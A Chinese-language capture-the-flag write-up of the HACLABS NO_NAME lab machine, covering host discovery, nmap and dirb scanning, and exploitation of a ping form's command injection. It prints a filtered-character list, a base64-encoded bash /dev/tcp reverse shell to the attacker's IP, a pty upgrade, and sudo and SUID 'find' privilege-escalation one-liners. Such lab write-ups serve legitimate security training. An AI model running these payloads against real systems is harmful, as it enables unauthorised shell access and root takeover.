HACLABS_ NO_NAME 靶机

HACLABS_ NO_NAME

1.探测靶机ip地址

ip a

看下网卡

image-20220706102229228

netdiscover -i eth0 -r 192.168.100.0/24

image-20220706103002917

可以看到靶机地址为192.168.100.8

2.nmap进行靶机端口服务扫描

nmap -sS -Pn -A -p- -n 192.168.100.8
-sS  SYN 扫描,半连接
-Pn 跳过Ping扫描阶段
-A   全面扫描
-p- 全端口
-n   禁止DNS反向解析,如果单纯扫描一段IP,该选项可以大幅度减少目标主机响应时间

可以看到靶机只开放了一个80/http端口服务

image-20220706103038127

3.根据端口服务进行信息收集

80/http端口

我们访问下80页面进行下信息收集:查看源码、dirb扫描

由于靶机没开放22端口,猜测下应该是命令执行漏洞

image-20220706103306778

网站首页写着“假的管理员站点”,保守起见,还是先目录扫描一下,看看能不能找到真的管理员站点。

目录扫描

dirb http://192.168.100.8

image-20220706103732016

挨个访问看下

http://192.168.100.8/admin   

是张宣传图片

image-20220706103836497

image-20220706103856822

源代码一无所获

普通的目录扫描,只发现了/admin,但没啥用,纯静态网页,换用大字典试试

dirb http://192.168.100.8/ /usr/share/wordlists/dirb/big.txt

image-20220706104942121

还是没看到什么新目录

再加个后缀试试(这里的考虑是 index是.php的,试试加个.php的后缀)

dirb http://192.168.100.8/ /usr/share/wordlists/dirb/big.txt -X .php

image-20220706105402816

发现个新页面

http://192.168.100.8/superadmin.php

image-20220706105535685

看到“ping”查询的时候,已经可以确定是命令执行漏洞了

4.命令执行

查看受限制的内容都是有哪些,使用命令:|cat superadmin.php

image-20220706110246228

";","&&","/","bin","&"," &&","ls","nc","dir","pwd"

1.kali

目录分隔符被过滤了可以将反弹shell的命令使用base64加密之后再执行

echo "bash -i >& /dev/tcp/192.168.100.4/1234 0>&1" | base64

image-20220706111314977

开启nc监听

nc -lvnp 1234

2.靶机

|echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC40LzEyMzQgMD4mMQo=" | base64 -d | bash

image-20220706111930330

3.反弹shell成功

查看下所有用户

image-20220706112201914

有3个用户,去各自用户下面看看

(1)yash用户

image-20220706112425143

得到一个提示

Due to some security issues,I have saved haclabs password in a hidden file.
由于一些安全问题,我将haclabs的密码保存在一个隐藏文件中。

继续查看下yash用户下所有的文件

find / -user yash

image-20220706132812326

也可以去除报错信息

find / -user yash 2>/dev/null

image-20220706133104896

可以看到/usr/share/hidden/.passwd中应该是存放着密码

查看隐藏文件passwd

cat /usr/share/hidden/.passwd
得到密码haclabs1234

image-20220706133250242

(2)haclabs用户

知道了haclabs用户的密码,使用su切换到haclabs用户

image-20220706134301564

但遇到了一个问题

su: must be run from a terminal

这时候需要切换交互式shell

我们知道可以通过python提供的pty模块创建一个原生的终端

python3 - c 'import pty; pty.spawn("/bin/bash")'

image-20220706135255741

切换haclabs

www-data@haclabs:/var/www/html$ su haclabs
su haclabs
Password: haclabs1234

haclabs@haclabs:/var/www/html$

在haclabs的用户目录下看到flag2.txt

haclabs@haclabs:/var/www/html$ cd /home 
cd /home
haclabs@haclabs:/home$ ls
ls
haclabs yash
haclabs@haclabs:/home$ cd haclabs
cd haclabs
haclabs@haclabs:~$ ls
ls
Desktop Downloads Music Public Videos
Documents flag2.txt Pictures Templates
haclabs@haclabs:~$ cat flag2.txt
cat flag2.txt
I am flag2

--------------- ----------------


--------
haclabs@haclabs:~$
(3)root用户

使用sudo提权

ls -al

image-20220706141713054

可以看到当前目录下有sudo_as_admin_successful

sudo -l

image-20220706142133033

find命令不需要密码

sudo find . -exec /bin/sh \; -quit

image-20220706142321712

使用suid提权

查看suid文件

find /usr -perm -u=s -type f 2>/dev/null

image-20220706141505402

进行提权

find . -exec /bin/sh -p \; -quit

进入到root目录下可以看到flag3.txt

image-20220706141020267

5.靶机总结

  • nmap扫描

  • dirb目录扫描

  • 分析php漏洞

  • 绕过命令执行漏洞

  • 反弹SHELL

  • 搜索隐藏文件

  • linux sudo提权

  • linux suid提权

© 版权声明
THE END
喜欢就支持一下吧
点赞8 分享
评论 共2条

请登录后发表评论

    请登录后查看评论内容